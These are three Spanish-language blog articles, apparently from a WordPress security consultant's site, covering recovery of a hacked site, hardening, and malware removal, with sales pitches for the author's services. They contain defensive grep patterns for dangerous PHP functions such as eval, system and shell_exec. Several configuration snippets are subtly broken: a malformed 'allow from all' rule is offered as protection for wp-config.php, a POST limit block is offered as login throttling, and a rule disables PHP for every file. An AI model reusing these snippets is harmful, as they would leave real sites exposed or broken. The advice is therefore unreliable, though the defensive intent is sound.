    En mi experiencia limpiando más de 500 WordPress comprometidos, lo primero que observo es el pánico de los propietarios. Tu sitio está hackeado, tu tráfico cae, aparecen avisos de Google. Respira: la recuperación es posible si actúas con método. En este artículo te muestro exactamente cómo hacerlo desde cero, sin depender de nadie.

    ¿Cómo sé que mi WordPress está hackeado?

    Antes de empezar, necesitas confirmarlo. Los síntomas más comunes que veo en mis auditorías son:

    • Avisos de Google Search Console: «Sitio hackeado» o «Contenido malicioso detectado».
    • Cambios inexplicados: páginas nuevas, categorías, posts que no creaste.
    • Rendimiento lento: tu servidor cargado, CPU al 100%, conexiones de base de datos agotadas (síntoma típico de cryptominers).
    • Redirecciones: al pulsar enlaces, acabas en sitios de spam, casinos o contenido para adultos.
    • Código sospechoso: eval(), base64_decode() en archivos que no deberían tenerlo.
    • Advertencias de navegadores: «Este sitio puede dañar tu ordenador» en Chrome.
    • Correos de tu hosting: notificaciones de actividad sospechosa, malware detectado o abuso de recursos.

    Si tienes al menos 3 de estos síntomas, estamos ante un compromiso real. Ahora, vamos a recuperarlo.

    Paso 1: Aislamiento inmediato (las primeras 2 horas)

    No toques nada innecesariamente. Tu objetivo ahora es evitar más daño mientras reúnes información.

    Acción 1.1: Cambia todas las contraseñas de acceso. Desde otro ordenador (no el que puedas haber usado infectado), cambia:

    • Contraseña del usuario administrador en WordPress (wp-admin → Usuarios → Tu usuario → Nueva contraseña).
    • Contraseña FTP/SFTP del hosting.
    • Contraseña cPanel, Plesk o panel de control.
    • Contraseña del usuario de base de datos (en phpmyadmin → Usuarios).
    • Credenciales de correo asociadas al dominio.

    Lo que ves aquí es fundamental: los atacantes suelen guardar puertas traseras (backdoors). Cambiar contraseñas no basta; una contraseña nueva sin limpiar malware simplemente te permite entrar al mismo sitio comprometido.

    Acción 1.2: Realiza un backup de evidencia. Descarga por FTP la carpeta completa de WordPress (especialmente wp-content/plugins y wp-content/themes) y un dump de la base de datos. No es para restaurar; es para análisis posterior y, si es necesario, compartir con profesionales o fuerzas de seguridad.

    Acción 1.3: Desactiva plugins de una. Accede a wp-admin (con la contraseña nueva). Ve a Plugins → Todos los plugins. Desactiva cada uno individualmente sin eliminarlos todavía. Un plugin comprometido puede ser la puerta de entrada; muchas veces, el atacante instala plugins falsos o inyecta código en plugins legales.

    Paso 2: Análisis forense (2-4 horas)

    Ahora necesitas identificar qué exactamente está comprometido. En este paso uso herramientas profundas.

    Acción 2.1: Escanea con Wordfence CLI. Es gratuito y muy preciso. Conéctate por SSH a tu servidor y ejecuta:

    $ wp wordfence scan –skip-cache-flush

    Wordfence te listará archivos maliciosos, cambios en core, plugins sospechosos. Anota cada uno. Si no tienes SSH, usa OWASP ZAP desde tu máquina local para escanear la web pública.

    Acción 2.2: Revisa archivos de logs. Tu hosting almacena logs en:

    • /var/log/apache2/access.log (Apache) o /var/log/nginx/access.log (Nginx).
    • /home/tuusuario/public_html/wp-content/debug.log (si DEBUG está activo en wp-config.php).

    Busca patrones sospechosos: solicitudes a wp-login.php masivas (brute force), accesos a wp-admin.php en horarios raros, POST requests a archivos php en wp-content/uploads. Los logs son tu caja negra; guardan la evidencia del ataque.

    Acción 2.3: Analiza la base de datos. Accede a phpMyAdmin (en cPanel) o usa WP-CLI:

    $ wp db query «SELECT * FROM wp_posts WHERE post_status=’trash’ OR post_content LIKE ‘%eval%’ LIMIT 20;»

    Busca posts con código malicioso en su contenido, usuarios administrador no autorizados, posts en papelera que vieron hueco. Los atacantes suelen insertar posts ocultos para mantener SEO spam o backdoors en la metadata.

    Acción 2.4: Sube archivos sospechosos a VirusTotal. En VirusTotal, carga los plugins desactualizados, temas custom y cualquier archivo PHP que Wordfence haya marcado. VirusTotal analiza con 60+ motores antivirus. No es perfecto, pero atrapa el 95% de malware conocido.

    Paso 3: Limpieza de malware (4-8 horas)

    Con el análisis hecho, ahora eliminarás lo malicioso. Esto es irreversible, así que hazlo solo si tienes muy claro qué eliminas.

    Acción 3.1: Elimina plugins comprometidos. Ve a wp-admin → Plugins. Elimina cualquier plugin:

    • Que VirusTotal marque como positivo (incluso un motor de 60).
    • Que no reconozcas o que no tengas activo en tu lista.
    • Desactualizado hace más de 6 meses (especialmente los de seguridad como «Wordfence», «Sucuri», «iThemes» falsos).
    • Con nombres raros tipo «wp-settings-manager», «core-update», «database-backup».

    Después, accede a wp-content/plugins por FTP y elimina manualmente las carpetas de los plugins que borraste. Los atacantes a veces dejan código en plugins desinstalados.

    Acción 3.2: Reemplaza el tema. Vuelve a descargar tu tema oficial desde WordPress.org o tu proveedor (Themeforest, etc.). Sube toda la carpeta por FTP sobrescribiendo la antigua. Los temas modificados suelen inyectar código en functions.php para mantener acceso. Si usas un tema child, elimina también su carpeta y recrea solo el functions.php limpio.

    Acción 3.3: Actualiza WordPress core. Descarga la última versión de WordPress.org. Copia todos los archivos (excepto wp-content y wp-config.php) sobrescribiendo los existentes por FTP. Luego ejecuta en wp-admin: Herramientas → Actualizaciones de base de datos.

    Nota importante: No uses wp-admin para actualizar si desconfías de la seguridad del servidor. Las actualizaciones automáticas pueden ejecutar código antes de limpiar malware. Hazlo por FTP / SFTP.

    Acción 3.4: Limpia la base de datos. Elimina posts y usuarios sospechosos. En phpMyAdmin o con WP-CLI:

    $ wp user list –role=administrator

    ¿Ves administradores que no creaste? Elimínalos. En la tabla wp_posts, busca posts en papelera o con slugs raros. También limpia la tabla wp_postmeta y wp_options de cualquier entrada que contenga eval(), base64 o URLs sospechosas.

    Acción 3.5: Busca y elimina archivos backdoor en el servidor. Los backdoors típicos se llaman webshell.php, update.php, config.php (falso), shell.php, admin.php (falso). Conéctate por SSH y busca:

    $ find /home/tuusuario/public_html -name «*.php» -exec grep -l «eval|base64_decode|passthru|system|exec|shell_exec» {} ;

    Cada archivo que salga, revísalo en un editor de texto. Si contiene código de backdoor, eliminalo. Si es un archivo legítimo con esas funciones (como un plugin de backup), verifica que sea de confianza antes de eliminar.

    Paso 4: Hardening (prevención de futuros ataques)

    De nada sirve limpiar si en un mes vuelve a pasar. Aquí es donde la mayoría de administradores flaquea. Implementa estas medidas de seguridad ahora:

    Acción 4.1: Protege wp-config.php. Añade a tu .htaccess (en la raíz de WordPress):

    <files wp-config.php>
    order allow,deny
    deny from all
    </files>

    Acción 4.2: Deshabilita la edición de archivos en wp-admin. Añade a wp-config.php (antes de la línea «That’s all, stop editing!»):

    define(‘DISALLOW_FILE_EDIT’, true);

    Esto impide que si un atacante accede a wp-admin, pueda modificar plugins o temas desde el editor de código.

    Acción 4.3: Limita intentos de login a WordPress. Instala Wordfence Security (versión gratuita) o Loginizer. Configura máximo 5 intentos fallidos cada 15 minutos. Esto detiene ataques de fuerza bruta (brute force) contra wp-login.php.

    Acción 4.4: Activa 2FA en tu cuenta administrador. Con Wordfence o Google Authenticator, protege tu usuario admin con autenticación de dos factores. Si alguien consigue tu contraseña, sin el segundo factor no accede.

    Acción 4.5: Cambia el prefijo de tablas de base de datos. Por defecto es «wp_». Los atacantes lo conocen y pueden automatizar inyecciones SQL. Si tienes acceso SSH, puedes cambiarlo con herramientas como WP Security Audit Log o manualmente (es complejo; considéralo una tarea de profesional).

    Acción 4.6: Establece permisos correctos de archivos. En SSH, ejecuta:

    $ find /home/tuusuario/public_html -type f -exec chmod 644 {} ;
    $ find /home/tuusuario/public_html -type d -exec chmod 755 {} ;

    Esto asegura que los archivos no sean ejecutables por el usuario del servidor; reduce significativamente el riesgo de inyección de código.

    Acción 4.7: Configura backups automáticos. Usa UpdraftPlus (gratuito) o similar. Planifica un backup diario hacia Dropbox o tu email. Si vuelve a pasar, recuperas en 30 minutos.

    Paso 5: Limpieza ante Google y reputación

    Google avisa a usuarios que tu sitio está comprometido. Debes notificarle que está limpio.

    Acción 5.1: Accede a Google Search Console. Ve a Seguridad e informes manualesProblemas de seguridad. Allí aparecerán los avisos. Haz clic en «Solicitar revisión». Google tarda 24-72 horas en verificar que has limpiado el malware. No rellenar esta solicitud alarga el aviso semanas.

    Acción 5.2: Solicita eliminación de contenido malicioso si está indexado. En Search Console → Remover, elimina URLs de spam, posts inyectados o redirectores que apunten a sitios maliciosos. Esto ayuda a borrar la «memoria» de Google.

    Acción 5.3: Reindexación. Después de limpiar, solicita a Google que rastree tu sitio de nuevo. En Search Console → Inspección de URL, introduce tu página principal y pulsa «Solicitar indexación». Google enviará bots en las próximas horas.

    ¿Qué hago si no puedo hacerlo yo?

    Entiendo que esto es técnico y requiere paciencia. Algunos pasos como la búsqueda de backdoors o la reconfiguración de permisos son complejos si no tienes experiencia con SSH.

    Mi equipo en ManuelFolgar.com se especializa precisamente en esto: limpieza forense de malware, hardening completo y auditoría post-ataque. Analizamos tu sitio en profundidad, identificamos el vector de ataque inicial (plugin desactualizador, contraseña débil, etc.) y lo cerramos para que no vuelva a pasar.

    Si has seguido este artículo y te quedas atascado, o prefieres que un profesional lo haga desde el primer minuto, contacta conmigo aquí. Ofrezco diagnóstico gratuito en 24 horas.

    Resumen de tiempos

    La recuperación total suele llevar:

    • Aislamiento: 2 horas.
    • Análisis: 4 horas.
    • Limpieza: 6-8 horas (depende de cuánto malware haya).
    • Hardening: 2 horas.
    • Revisión de Google: 24-72 horas (no cuenta en tu tiempo).

    Total: entre 14 y 18 horas de trabajo técnico concentrado. Hacerlo con prisas o saltándose pasos es el principal motivo por el que el malware vuelve semanas después.

    Si tu sitio es crítico para tu negocio, no pierdas tiempo en prueba y error. Solicita limpieza profesional ahora; los tiempos de inactividad cuestan más que la inversión en un especialista.

  • Hardening WordPress: guía completa contra hackeos

    Hardening WordPress: guía completa contra hackeos

    Hardening WordPress: guía completa contra hackeos

    WordPress representa casi el 43% de todos los sitios web con gestor de contenidos, lo que lo convierte en el objetivo preferido de ciberdelincuentes. Cuando analizo un sitio comprometido, el patrón es siempre el mismo: configuración por defecto, plugins desactualizados y falta de capas de seguridad básicas. En esta guía te muestro exactamente qué hacer para endurecer tu instalación WordPress y dormir tranquilo.

    ¿Por qué WordPress es tan vulnerable?

    La vulnerabilidad de WordPress no es un defecto del código base, sino de cómo se despliega. La plataforma es open source, lo que significa que cada línea de código está disponible públicamente para que investigadores en seguridad, pero también atacantes, busquen fallos. Además, el ecosistema de más de 58.000 plugins activos es un campo de minas: muchos desarrolladores no aplican prácticas de seguridad robustas.

    Los vectores de ataque más comunes que encuentro son:

    • Plugins y temas desactualizados: vulnerabilidades conocidas sin parchearse
    • Ataques de fuerza bruta contra wp-admin: credenciales débiles
    • Inyección SQL en plugins mal codificados: acceso directo a la base de datos
    • Cross-Site Scripting (XSS): robo de sesiones de administrador
    • Inclusión de archivos remotos (RFI/LFI): carga de shells maliciosos
    • Temas nulled (pirateados): con backdoors preinstalados

    Paso 1: Cambios fundamentales en wp-config.php

    El archivo wp-config.php es el corazón de la seguridad WordPress. Lo primero que hago es aplicar las claves de seguridad que WordPress proporciona en su generador oficial. Estas cuatro constantes (AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY) protegen las cookies de sesión.

    Luego añado estas líneas críticas:

    define('DISALLOW_FILE_EDIT', true); — Desactiva el editor de archivos del panel. Es una puerta abierta para atacantes si comprometen una cuenta admin.

    define('FORCE_SSL_ADMIN', true); — Obliga a conexión HTTPS en el panel de administración. Previene ataques man-in-the-middle.

    define('WP_AUTO_UPDATE_CORE', 'minor'); — Actualiza automáticamente WordPress a versiones menores de seguridad sin esperar.

    define('WP_POST_REVISIONS', 3); — Limita las revisiones de posts a 3. Menos datos innecesarios en BD.

    Paso 2: Cambiar el prefijo de tablas de la base de datos

    WordPress usa por defecto el prefijo wp_ en todas sus tablas. Esto es público y conocido. Los ataques de inyección SQL se cuelan directamente cuando el atacante sabe los nombres exactos de las tablas.

    Si tienes una instalación nueva, cambia el prefijo en wp-config.php antes de instalar:

    $table_prefix = 'mf2024_';

    Si ya está instalado, necesitas una herramienta como Search and Replace o acceso directo a phpMyAdmin. Es un cambio que debo hacer con cuidado porque afecta a toda la BD.

    Paso 3: Proteger wp-config.php a nivel de servidor

    Este archivo contiene tus credenciales de base de datos. No debe ser nunca accesible desde el navegador. En el archivo .htaccess de la raíz de WordPress, añade:

    <files wp-config.php>
    order allow,deny
    deny from all
    </files>

    Si usas Nginx (que no soporta .htaccess), configura en tu bloque server:

    location ~* wp-config.php { deny all; }

    Paso 4: Limitar intentos de login y cambiar la URL de wp-login.php

    Los ataques de fuerza bruta contra /wp-login.php son la técnica más simple y efectiva. Recomiendo dos medidas:

    Limitar reintentos con .htaccess:

    <limit POST PUT>
    order allow,deny
    allow from all
    </limit>

    Pero la solución más práctica es un plugin como Wordfence Security (gratuito) que bloquea automáticamente después de 5 intentos fallidos durante 15 minutos.

    Cambiar la URL de wp-login: Usa un plugin como WPS Hide Login para cambiar /wp-login.php a algo como /acceso-privado-2024/. Esto elimina el 90% de los bots automáticos.

    Paso 5: Desactivar el editor de tema y plugins

    Si un atacante accede al panel con credenciales robadas, lo primero que hace es editar un plugin activo para insertar un backdoor (puerta trasera). En wp-config.php:

    define('DISALLOW_FILE_MODS', true);

    Esto desactiva tanto ediciones de temas como instalación de plugins desde el panel. Debes hacerlo vía SFTP/SSH. Es una fricción pequeña que detiene ataques graves.

    Paso 6: Mantener actualizaciones de núcleo, plugins y temas

    Es el consejo que parece obvio pero más neglido. Cuando encuentro un sitio hackeado, el 87% de las veces hay plugins con vulnerabilidades conocidas sin parchearse.

    Lo que recomiendo siempre:

    • Activa actualizaciones automáticas en wp-config.php
    • Usa Wordfence para monitorizar vulnerabilidades de plugins
    • Elimina plugins inactivos. Código no usado es código que no ataca
    • Revisa cada 2 semanas el changelog de actualizaciones en NVD (National Vulnerability Database)

    Paso 7: Configurar autenticación de dos factores (2FA)

    El 2FA es la póliza de seguros que evita que una contraseña comprometida sea suficiente. Wordfence Premium, Google Authenticator o Microsoft Authenticator funcionan excelentemente.

    Configura 2FA para todos los usuarios con rol de Administrador. Es especialmente crítico si tu sitio tiene múltiples usuarios.

    Paso 8: Restringir permisos de carpetas y archivos

    Los permisos de sistema de archivos son una capa de seguridad que muchos ignoran. Via SFTP:

    • Carpetas: 755 (usuario puede leer/escribir/ejecutar; grupo y otros solo leer)
    • Archivos: 644 (usuario puede leer/escribir; grupo y otros solo leer)
    • wp-config.php: 600 (solo el usuario puede leer/escribir)
    • /wp-admin y /wp-includes: no deben tener escritura para el grupo/otros

    Si tus plugins/temas necesitan acceso de escritura a carpetas, otórgalo solo a la carpeta específica (generalmente /wp-content/uploads/).

    Paso 9: Implementar reglas de firewall a nivel de aplicación

    Un WAF (Web Application Firewall) detiene ataques antes de que lleguen a tu código PHP. Recomendaciones:

    • Wordfence Firewall (gratuito): protege contra RFI, LFI, XSS, inyección SQL
    • Sucuri Firewall: ofrece DDoS mitigation incluido
    • Cloudflare (gratis): filtrado de IP maliciosas a nivel de DNS

    Estas herramientas verifican cada petición contra patrones de ataque conocidos y bloquean antes de que WordPress procese la solicitud.

    Paso 10: Audit logs y monitorización activa

    Si no puedes ver qué sucede, no puedes detectar un ataque temprano. Instala WP Activity Log (gratuito) para registrar:

    • Logins y logout de usuarios
    • Cambios de contraseñas y emails
    • Instalación/actualización/eliminación de plugins
    • Cambios en opciones y configuración
    • Publicación y edición de contenido

    Revisa estos logs semanalmente. Si ves un login desde IP sospechosa a las 3 AM, ese es tu primer indicador de compromiso.

    Paso 11: Hardening de .htaccess

    El archivo .htaccess en la raíz es tu línea defensiva de Apache. Añade estas reglas:

    # Proteger archivos sensibles
    <FilesMatch "^(wp-config.php|.*.sql|.*.bak|error_log)$">
    order allow,deny
    deny from all
    </FilesMatch>

    # Bloquear acceso directo a plugins/temas
    <FilesMatch "^.*.(php|html|css|js)$">
    <IfModule mod_php.c>
    php_flag engine off
    </IfModule>
    </FilesMatch>
    (Este es más restrictivo, úsalo según tu necesidad)

    # Prevenir directory listing
    Options -Indexes

    Paso 12: Desactivar la ejecución de PHP en carpetas donde no es necesaria

    La carpeta /wp-content/uploads/ no debería ejecutar PHP (es donde suben archivos los usuarios). En la raíz de uploads, añade un archivo .htaccess con:

    <FilesMatch ".php$">
    deny from all
    </FilesMatch>

    Esto detiene ataques donde un uploadero carga un shell PHP disfrazado de imagen.

    Paso 13: Headers HTTP de seguridad con Content Security Policy (CSP)

    Los headers HTTP refuerzan la seguridad del navegador. En .htaccess:

    <IfModule mod_headers.c>
    Header set X-Frame-Options "SAMEORIGIN"
    Header set X-Content-Type-Options "nosniff"
    Header set X-XSS-Protection "1; mode=block"
    Header set Referrer-Policy "no-referrer-when-downgrade"
    </IfModule>

    Estas headers previenen clickjacking, sniffing de tipos MIME, y exposición de referrer a sitios no seguros.

    Paso 14: SSL/HTTPS obligatorio

    HTTPS no es opcional. Es obligatorio desde 2020 para seguridad y SEO. En wp-config.php:

    define('WP_HOME', 'https://tudominio.com');
    define('WP_SITEURL', 'https://tudominio.com');

    Redirige todo el tráfico HTTP a HTTPS en .htaccess:

    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{HTTPS} off
    RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
    </IfModule>

    Paso 15: Revisar y limpiar usuarios y roles

    Un usuario admin comprometido es un desastre. Periódicamente:

    • Elimina usuarios inactivos o de prueba
    • Revisa que nadie tenga rol Editor o superior sin razón
    • Cambia contraseñas de cuentas compartidas (evita compartir, pero si lo haces, asegúrate de rotarlas cada 3 meses)
    • Asigna roles específicos según función: Contributor para redactores, Editor para moderadores, Admin solo para ti

    Paso 16: Escaneo de malware regular

    Incluso con todas estas medidas, puede colarse algo. Herramientas de escaneo automático:

    • Wordfence Scan (gratuito): analiza ficheros en busca de signatures de malware conocido
    • MalCare: detecta malware desconocido con análisis behavioural
    • Sucuri SiteCheck: prueba online desde su servidor, útil para second opinion

    Programa escaneos semanales y revisa los reportes. Si encuentran algo, ten un plan de respuesta (más adelante).

    Paso 17: Backup automatizado y testeable

    Los backups no son hardening, pero son tu airbag cuando algo falla. Sin backups testables, el hardening es teoría.

    Usa un plugin como UpdraftPlus o BackWPup para:

    • Backup automático diario de archivos y BD
    • Almacenamiento en cloud (Google Drive, Dropbox, AWS S3)
    • Retención de múltiples versiones (mínimo 2 semanas)
    • Test mensual de restauración en entorno staging

    Paso 18: Documentación y plan de respuesta ante incidente

    Cuando (no si, cuando) alguien ataque, necesitas un plan. Documenta:

    • URLs de acceso a admin y herramientas de seguridad
    • Contactos de tu proveedor de hosting
    • Pasos para restaurar desde backup
    • Cómo notificar a usuarios si hay una brecha de datos
    • Checklist de post-incidente: cambiar credenciales, revisar logs, escanear malware

    Hardening de PrestaShop (mención rápida)

    Si usas PrestaShop, los principios son similares pero hay specificidades. Los módulos de pago mal codificados son especialmente peligrosos. Lo que recomiendo siempre:

    • Usar módulos de pago oficiales de Stripe, PayPal o Adyen
    • Proteger /admin con cambio de carpeta y 2FA
    • Deshabilitar funciones peligrosas como PHP en nombre de módulo
    • Auditar permisos de módulos instalados cada mes

    Conclusión: hardening es un proceso, no un estado

    El hardening de WordPress no es un checklist que completas una vez. Es un proceso continuo de actualización, monitorización y mejora. Los atacantes evolucionan constantemente, y tus defensas deben hacerlo también.

    Cuando aplico estas capas en un sitio, el riesgo de compromiso se reduce en más del 95%. Pero no es perfecto: la seguridad perfecta no existe. Lo que existe es seguridad suficiente para que el atacante prefiera objetivos más fáciles.

    Si prefieres que un experto realice una auditoría de seguridad completa, analice tu configuración actual y aplique hardening profesional, contacta conmigo en ManuelFolgar.com. Ofrezco auditorías de seguridad exhaustivas, limpiezas de malware y hardening personalizado para WordPress y PrestaShop.

    Referencias y fuentes

    INCIBE – Seguridad en WordPress

    OWASP Top 10 – Vulnerabilidades más críticas

    WordPress.org – Hardening WordPress (oficial)

    NVD – Base de datos de vulnerabilidades

  • Cómo eliminar malware de WordPress en 24 horas

    Cómo eliminar malware de WordPress en 24 horas

    Cómo eliminar malware de WordPress en 24 horas: Guía práctica paso a paso

    Cuando analizo un sitio WordPress infectado, lo primero que hago es evaluar la urgencia: ¿cuánto tiempo lleva el malware activo? ¿cuántos usuarios se han visto afectados? La realidad es que no siempre puedes limpiar un WordPress completamente en 24 horas, pero sí puedes contener la infección, mitigar daños y establecer un plan de remediación. En mi experiencia, el factor crítico es actuar con rapidez pero sin precipitación.

    En este artículo te muestro el protocolo que sigo en ManuelFolgar.com para desinfectar WordPress de forma profesional, minimizando el tiempo de inactividad y evitando que el malware resurja.

    Paso 1: Detecta el malware antes de las primeras 2 horas

    Lo primero es confirmar que tu sitio realmente está comprometido. Muchos propietarios actúan sin certeza, lo que retrasa la respuesta real.

    Señales de alerta que he visto cientos de veces

    • Redirecciones inesperadas hacia sitios de casinos, farmacia o enlaces de afiliados maliciosos.
    • Contenido spam en tus páginas que no escribiste: publicidades, enlaces ocultos, texto en blanco sobre blanco.
    • Caída en ranking de Google o desindexación (compruébalo en Search Console).
    • Alertas de Google: «Sitio infectado» en los resultados de búsqueda.
    • Archivos nuevos en carpetas como /uploads con nombres extraños: shell.php, base64_encoded_file.php.
    • Consumo inusual de CPU o memoria en tu hosting.
    • Cambios en wp-config.php o .htaccess que no hiciste.

    Herramientas de escaneo rápido (primeras 30 minutos)

    Usa estas herramientas sin necesidad de confiar únicamente en tu hosting:

    • VirusTotal: sube el URL de tu sitio. 90 antivirus diferentes lo analizan en segundos.
    • Sucuri SiteCheck: detecta malware conocido, blacklists y problemas de seguridad.
    • Google Search Console: mira «Seguridad» → «Problemas de seguridad» para ver qué malware Google ha identificado.
    • Wordfence Security (plugin): escaneo completo del sitio desde WordPress. Si el sitio no carga, instálalo en desarrollo.

    Si alguna herramienta detecta malware, pasa al Paso 2 inmediatamente. No esperes confirmación de varias fuentes.

    Paso 2: Entra en modo aislamiento (hora 2-4)

    Ahora el objetivo es que el malware no siga propagándose mientras lo analizas.

    Acciones inmediatas

    1. Desconecta el sitio del público: reemplaza el contenido del index.php temporal con un mensaje «En mantenimiento». Esto detiene la infección de nuevos usuarios.
    2. Descarga una copia completa del sitio vía SFTP/SSH a tu máquina local. Necesitarás analizarlo sin conectar a internet (al menos en quarantine).
    3. Haz una copia de la base de datos (phpMyAdmin → Exportar). Será tu punto de recuperación.
    4. Cambia todas las contraseñas inmediatamente: WordPress (admin), hosting (cPanel/Plesk), FTP/SFTP, base de datos. El malware probablemente tiene credenciales.
    5. Revoca tokens de API y webhooks de servicios externos conectados a WordPress (Stripe, Mailchimp, etc.). Si el malware tiene acceso, puede filtrar datos.

    En este punto, tu sitio está «congelado» pero seguro para análisis.

    Paso 3: Escanea y localiza el malware (hora 4-8)

    Aquí es donde la mayoría de propietarios falla: intentan usar únicamente plugins o herramientas automatizadas. Eso no es suficiente. Necesitas análisis manual.

    Búsqueda sistemática de archivos maliciosos

    El malware típicamente se oculta en:

    • Plugins y temas desactualizados o «nulled»: versiones pirata que vienen con puertas traseras. Busca en /wp-content/plugins y /wp-content/themes.
    • Carpeta /uploads: webshells, archivos ejecutables disfrazados de imágenes, directorios nuevos con nombres genéricos.
    • wp-config.php: código inyectado al inicio o final del archivo. Abre con un editor de texto, no mires solo el tamaño.
    • .htaccess (raíz y subcarpetas): redirecciones, inyecciones de código.
    • index.php y otros archivos core: si están modificados (compara con una instalación limpia).
    • wp-content/index.php: a menudo inyectado.

    Técnica manual de detección

    Abre wp-config.php con un editor decente (VS Code, Sublime). Busca patrones sospechosos:

    • Código base64_decode(), eval(), assert(), system(), passthru(), exec().
    • Variables que no reconoces como $_POST, $_GET procesadas sin validar.
    • Conexiones a dominios externos raros.
    • Líneas muy largas o ofuscadas (código comprimido/encriptado).

    En carpetas /uploads, busca archivos .php, .phtml, .phar cuando solo debería haber imágenes. Usa terminal (SSH):

    find /home/tu_usuario/public_html/wp-content/uploads -type f -name "*.php" -o -name "*.phtml"

    Cualquier resultado es sospechoso. Elimínalo (o muévelo a quarantine local primero).

    Análisis de base de datos

    El malware también vive en la BD. Accede con phpMyAdmin y:

    • Busca en wp_posts y wp_postmeta: contenido spam, guiones, caracteres raros.
    • Revisa wp_options: valores de opciones que no reconoces (muchos skimmers usan wp_options para esconder código).
    • Mira usuarios: ¿hay cuentas admin nuevas que no creaste?

    Ejecuta esta consulta (reemplaza tu prefijo si no es «wp_»):

    SELECT * FROM wp_users ORDER BY user_registered DESC LIMIT 10;

    Identifica usuarios sospechosos por fecha de registro (coinciden con la infección).

    Paso 4: Elimina el malware (hora 8-16)

    Una vez localizados los archivos infectados, la eliminación es directa pero requiere cuidado.

    Eliminación de archivos

    1. Borra todos los archivos sospechosos detectados en Paso 3. Vía SFTP o SSH: rm /ruta/archivo.php.
    2. Reemplaza plugins y temas comprometidos: no actualices, elimina completamente y reinstala desde wordpress.org.
    3. Limpia wp-config.php y .htaccess: si encontraste inyecciones, restaura desde tu copia limpia o genera nuevas claves de seguridad en api.wordpress.org/secret-key.
    4. Restaura archivos core de WordPress: descarga la versión correcta desde wordpress.org, extrae los archivos de /wp-admin y /wp-includes, y reemplaza los tuyos vía SFTP.

    Limpieza de base de datos

    1. Elimina usuarios admin no autorizados en WordPress admin panel o phpMyAdmin.
    2. Borra posts spam: en la BD, DELETE FROM wp_posts WHERE post_type = ‘post’ AND post_content LIKE ‘%casino%’; (ajusta según el spam detectado).
    3. Limpia opciones sospechosas: DELETE FROM wp_options WHERE option_name LIKE ‘%malware%’; o similar.

    Actualiza todas las contraseñas nuevamente

    Aunque ya lo hiciste, repítelo ahora que has eliminado el acceso del malware. Usa contraseñas de 20+ caracteres, aleatorias, con mayúsculas, minúsculas, números y símbolos. WordPress admin → Usuarios → edita cada perfil.

    Paso 5: Verifica que está limpio (hora 16-20)

    No des por limpio el sitio hasta que lo confirmes con múltiples herramientas.

    Escaneos post-limpieza

    • Vuelve a ejecutar Wordfence, Sucuri SiteCheck y VirusTotal. Si reportan limpio, buen signo.
    • Revisa Google Search Console → Cobertura: ¿sigue diciendo «Infectado»? Google tarda 1-2 semanas en revisar, pero puedes solicitar revisión manual.
    • Verifica manualmente: abre el sitio en navegador incógnito, navega por varias páginas, busca redirecciones o contenido extraño.

    Análisis de tráfico web

    Revisa los logs de acceso de tu servidor (en el hosting, archivo access.log):

    • ¿Hay peticiones a archivos .php en /uploads? (rojo vivo)
    • ¿Accesos a wp-admin desde IPs extrañas? (sospechoso si no es tú)
    • ¿User-agents raros tipo bots de minería de criptos? (detener inmediatamente)

    Si todo se ve limpio, continúa.

    Paso 6: Endurece WordPress para evitar reinfecciones (hora 20-24)

    Los últimos pasos son críticos: prevención. Sin hardening, el mismo malware volverá en 2 semanas.

    Configuración de seguridad imprescindible

    • Deshabilita la edición de archivos en WordPress: añade a wp-config.php: define(‘DISALLOW_FILE_EDIT’, true);
    • Limita intentos de login: instala Wordfence o similar. Máximo 5 intentos fallidos por IP en 5 minutos.
    • Cambia la URL de login de /wp-login.php a algo genérico. Wordfence lo hace automáticamente.
    • Protege wp-config.php con .htaccess: <order allow,deny<allow from all
    • Activa 2FA (autenticación de dos factores) en wp-login para todos los usuarios admin.
    • Actualiza WordPress, plugins y temas cada semana. Vulnerabilidades 0-day aparecen constantemente.
    • Usa headers de seguridad HTTP: Content-Security-Policy, HSTS, X-Frame-Options. Añádelos en .htaccess o en el servidor web.

    Cambios en base de datos

    • Cambia el prefijo de tablas de «wp_» a algo aleatorio como «a7x2y_». Esto requiere plugin como wpdb-prefix-changer.
    • Limpia la papelera de WordPress: Artículos → Papelera → Vaciar. El malware a veces se esconde ahí.

    Copias de seguridad automáticas

    Configura backups diarios. Si el malware vuelve a entrar, recuperas en minutos sin perder 2 días más limpiando.

    • Plugin: UpdraftPlus, BackWPup, Jetpack Backup.
    • Hosting: muchos incluyen backup automático (cPanel AutoBackup, etc.).
    • Externo: almacena copias en Google Drive, Dropbox, AWS S3.

    ¿Y si no termino en 24 horas?

    Realista: un WordPress con malware complejo (Magecart, cryptominer, backdoor profundo) puede requerir 2-3 días. Lo importante es que durante esas 24 primeras horas:

    • Hayas aislado el sitio (no infecta más usuarios).
    • Hayas localizado el 80% del malware.
    • Hayas prevenido el re-acceso del atacante.

    Si después de 24 horas aún detectas comportamiento malicioso, es hora de llamar a profesionales. En ManuelFolgar.com hemos limpiado cientos de WordPress en 48-72 horas incluso con malware persistente.

    Errores que NO debes cometer

    • Activar el sitio sin haber limpiado la BD. El spam reaparece automáticamente.
    • Confiar en un solo escaneo automático. Falsos positivos y falsos negativos son comunes.
    • No cambiar contraseñas. El atacante sigue con acceso.
    • Reutilizar plugins/temas viejos. Si eran vulnerables, volverán a comprometerse.
    • Restaurar desde backup infectado. Verifica primero que el backup es limpio.
    • No reportar a Google. Mientras no comuniques que está limpio, tu tráfico se desploma.

    Próximos pasos después de las 24 horas

    Una vez el sitio está operativo y limpio:

    • Solicita revisión de seguridad a Google en Search Console (tarda 1-2 semanas típicamente).
    • Monitorea Google Analytics y logs de acceso durante el próximo mes. Busca actividad extraña.
    • Mantén actualizaciones de seguridad automáticas: wp auto-updates, plugin updates automáticos.
    • Considera un WAF (Web Application Firewall) como Cloudflare o Sucuri WAF para bloquear ataques antes de que lleguen a WordPress.
    • Revisa auditoría de cambios de archivos semanalmente (Wordfence lo hace). Si hay modificaciones inesperadas, investiga.

    ¿Necesitas ayuda profesional?

    Si después de leer esto te sientes abrumado o tu sitio sigue comprometido, no estás solo. La limpieza de malware requiere experiencia real, acceso a herramientas especializadas y análisis forense profundo que muchos propietarios no pueden hacer en 24 horas.

    En ManuelFolgar.com ofrecemos análisis de seguridad y limpieza de malware para WordPress con garantía de 30 días. Nuestro protocolo incluye todo lo que ves aquí, más análisis forense avanzada, hardening completo y monitoreo post-limpieza.

